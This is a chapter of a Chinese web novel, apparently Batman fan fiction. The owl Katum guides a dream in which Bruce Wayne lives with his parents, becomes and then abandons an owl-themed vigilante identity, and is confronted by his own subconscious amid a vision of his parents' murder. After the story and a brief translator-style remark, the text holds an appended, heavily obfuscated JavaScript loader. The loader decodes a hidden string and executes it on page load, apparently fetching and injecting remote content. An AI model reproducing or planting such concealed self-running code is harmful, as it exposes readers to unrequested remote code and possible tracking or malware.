布鲁斯的美好生活,一幕幕在卡图姆眼前显现。
场景变化很快,就像是看一场无聊的合家欢电影,梦里的十年,眨眼就过去了。
而卡图姆感觉就过了二十分钟不到。
十八岁父母双全的布鲁斯·韦恩,走上了一条完全不同的道路。
说不同,其实也相同。
布鲁斯·韦恩还是那副富家公子的模样,只不过在他的心中,少了一个名叫蝙蝠侠的内核。
现在他每天的日常,就是开豪车、喝名酒、开豪车、泡嫩模、开豪车……
卡图姆都快看腻了。
整座哥谭,几乎成了布鲁斯·韦恩的游乐场。
他每天行驶在路上,看着外面的穷人,仿佛来自两个世界。
哥谭市依旧还是那个样子,犯罪率居高不下,布鲁斯不明白这群人为什么要抢劫走私、杀人放火。
和他一样享受生活不好吗?
卡图姆觉得,布鲁斯这辈子可能就这样了。
在父母庇护下成长的他,只是韦恩集团之子,而不是哥谭之子。
……
刺——
清晨,刹车声在韦恩庄园前响起,布鲁斯打开车门,将钥匙丢给阿尔弗雷德。
“帮我停到车库里去,阿福。”
阿尔弗雷德接过钥匙照做,毫无怨言。
他不怕布鲁斯纸醉金迷,就怕布鲁斯忽然想证明自己。
那要头疼的事情,就比现在多太多了。
“妈妈,我回来了!”
布鲁斯的声音在韦恩庄园回荡,他将外套丢给女仆,噔噔上楼。
回到房间里,他直接趴倒在床上,带着一身的疲惫,和有些隐隐作痛的后腰,沉沉睡去。
醒来时,已是黄昏。
偌大的房间里,只有布鲁斯一人,昏黄的阳光透过窗帘的缝隙,洒进房间,与室内的寂静形成鲜明对比。
布鲁斯忽然有一种被无尽孤独淹没的感觉。
他睁着眼睛,躺在床上,不愿起身。
起来又能做什么呢?
依旧是那机械式的重复享乐,那无尽的空虚。
腰子还疼。
他的视线落在了床头的一叠报纸上,这是父亲托马斯的安排,希望布鲁斯能关注时事,但布鲁斯从未看过。
这一次,他却鬼使神差般地拿过报纸,翻开看了起来。
上面的新闻,关于哥谭市最近出现的几位花哨的义警,吸引了他的注意。
布鲁斯将几则新闻当作故事,津津有味地看了起来。
边看还边评价。
“真傻!”
他看到有一个义警在追捕罪犯时,因为罪犯混入人群,结果居然分辨不出来的报道。
布鲁斯立刻就想到了解决方案。
“把在场的人全部抓回去拷问一遍不就知道了。”
另外,还有义警下手太重,结果将罪犯打成重伤,不得不赔偿巨额医疗费的新闻。
“又是一个傻子。”
布鲁斯说道,“你把脸蒙上,不暴露真实身份,谁能找得到你?”
他甚至还看到有的义警因为制服太过滑稽,而被罪犯公然嘲笑的记录。
“黑色!你要用黑色啊!”
看着那红绿配色的可笑制服,布鲁斯已经将其完全定义为了行为艺术。
“你得有震慑力,让人一见难忘,而不是让人发笑!”
他边看边骂,最后直接将报纸扔到了地上。
这真的是一群义警,而不是一群马戏团的小丑?
做的事情怎么这么可笑?
要是换成我——
这一刻,布鲁斯忽然愣住了。
要是那群义警换成他?
自己怎么会有这样荒谬的想法!
可是,虽然嘴上不承认,当义警的念头还是像一枚种子,在布鲁斯心头扎下了根。
也许有一天,这颗种子,也能开出花来。
……
卡图姆等待的变数,就在这个平平无奇的黄昏出现了。
布鲁斯终究还是选择了一条成为义警,成为超级英雄的道路。
他开始在夜间行走,去打击一些看得见的罪恶。
成功过几次之后,便有了些名气。
这给了布鲁斯更大的动力,继续坚持自己的事业。
韦恩夫妇忽然发现,自己原本那个只知道享乐和挥霍的儿子变了,他开始锻炼身体,严格自律,并且主动去学习新的知识。
在最初时,布鲁斯的打扮是黑衣蒙面,乍看有点像要去绑架的劫匪。
后来他也发现这样不对,选择重新为自己设计制服。
关于制服的参考元素,布鲁斯选择了猫头鹰。
他相信在八岁时的那一晚,正是因为自己看到了猫头鹰,才能和父母平安走出小巷。
卡图姆也一直默默关注着他。
布鲁斯没有辜负他的信任,即便是在没有任何外力推动的情况下,也选择走上了英雄的道路。
因为这个布鲁斯,本质终究是正义与善良的。
“差不多可以去唤醒布鲁斯了,要不然——”
猫头鹰自言自语,“会出大事的!”
……
邻家猫头鹰侠布鲁斯·韦恩,在常年打击罪犯中,慢慢发现了一些不对劲的地方。
哥谭的罪恶仿佛无穷无尽,永远都在生长,永远不会消失。
他越是努力,却越是让自己陷入泥潭之中。
而且危险也在一步步逼近他。
布鲁斯开始害怕了。
他忽然意识到,随着他打击犯罪的深入,他的仇人也越来越多。
这些给了他无尽的压力。
“不要!!!”
布鲁斯在床上猛然坐起,浑身冷汗。
他做噩梦了。
他梦见因为自己暴露身份,导致父母被人残忍杀害!
布鲁斯几乎没有思考,立刻跑下床,打开衣柜的隔间。
他拿出里面的黑色英雄制服,发疯似撕扯着,将它撕成碎片。
“我还有大好生活,我还有爱的人,我不能失去这一切!”
他喘着粗气,一字一句对自己说,“我不做什么英雄了!我只做布鲁斯·韦恩就好!什么狗屁哥谭,与我无关!”
就在这句话说出口后,布鲁斯忽然感觉到了一种异样。
就像是整个世界都停滞了一秒,然后时间重新流动。
跟随时间而来的,还有布鲁斯最害怕的东西——
窗外庄园忽然燃起了火光,几声示威般的枪响,宣告了他们的到来。
布鲁斯快步来到窗台,往下看去,一群身穿黑衣的恶徒已经闯入了庄园内,阿尔弗雷德倒在他们脚边,正在不断流血。
“不!!!”
布鲁斯痛苦嘶吼着。
然而这只是开始,这群人闯入庄园之中,显然不会只是为了杀一个阿尔弗雷德。
爸爸……妈妈……
布鲁斯猛然意识到了问题的关键,快步跑出房间,想要尽可能阻止这一切。
可是晚了。
血,两滩鲜红的血,在庄园大厅内晕开。
托马斯和玛莎已经倒在了地上,一个黑色的身影站在他们的尸体前,背对着布鲁斯。
“不!!!!”
布鲁斯双目通红,彻底丧失了理智。
他扑向那个黑色身影,不顾一切想要为父母报仇。
但对方只是一挥手,就将布鲁斯打飞了出去。
他一次次站起,却一次次失败,直到他再也站不起来。
“可恶!可恶啊!”
布鲁斯无能狂怒,“身体,我命令你站起来,替爸爸妈妈报仇啊!!!”
他的声音里是愤怒与痛苦,以及……一丝哀求。
可是他真的站不起来了。
一个养尊处优十八年的富家公子,就算锻炼了一段时间,也无法成为真正的强者。
“痛苦吗?”
那人忽然说话了。
这一刻,布鲁斯的心一颤,这个声音听起来怎么这么熟悉?
那人缓缓从阴影里走出,露出了自己的面容。
布鲁斯彻底傻在了原地。
那个黑色的人影,赫然与自己长得一模一样!
“我当初也是和你一样的痛苦。”
那个‘布鲁斯’用冰冷的眼神看着他。
“可这份痛苦,最终却成为了我的动力来源。”
对方冷冷说道,“布鲁斯,你不应该说,哥谭与你无关!”
布鲁斯的瞳孔瞬间收缩。
这句话,他不是才说的吗?这个人为什么会知道!
扑扑扑——
一阵翅膀扇动的声音,卡图姆降落到了布鲁斯的身边。
“唉,还是来晚了。”
他看向布鲁斯的眼神中,有一种愧疚,“抱歉,还是让你又看了一次这样的画面。”
“卡图姆?”
忽然之间,布鲁斯认出了猫头鹰。
真实的记忆瞬间涌入大脑,他又变成了那个十二岁的布鲁斯。
这一刻,整个韦恩庄园烟消云散,包括托马斯和玛莎的尸体,全都消失不见了。
只留下布鲁斯和猫头鹰。
“他是谁?”
布鲁斯心有余悸,虽然已经知道刚才的一切都是梦境,可再一次看到父母死在眼前,依旧是那么痛苦。
“他是你。”
卡图姆说道,“或者说,是你的潜意识。”
布鲁斯听不太懂。
猫头鹰只能进一步解释:“布鲁斯,你可能还是不太了解自己,不知道对你来说,哥谭有多么重要。
“在梦里,你可以父母双全,可以养尊处优,甚至可以不做英雄,但是,你不能放弃家乡。
“这个梦给了你太多假象,让你的心产生了迷惘,甚至为了自己的生活,选择放弃哥谭。
“那么在这个时候,你的潜意识就要出来纠正你了。”
卡图姆看着布鲁斯的眼睛,眼神中带有一丝悲伤,仿佛已经看到了教子的未来。
“你宁愿选择扼死本可以幸福的自己,也要重新回到哥谭去。
“布鲁斯,问问你的内心吧。
“哥谭对你到底意味着什么呢?”
布鲁斯重新站了起来,意识到这是个梦后,他的体力也随之恢复。
他将手附在在心口,两行眼泪不自觉流下。
哥谭对布鲁斯到底意味着什么?
“nothing。”
他说道,“everything。”
我找了七八个关于nothing,everything的翻译,都不是很满意,干脆贴原文了。
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();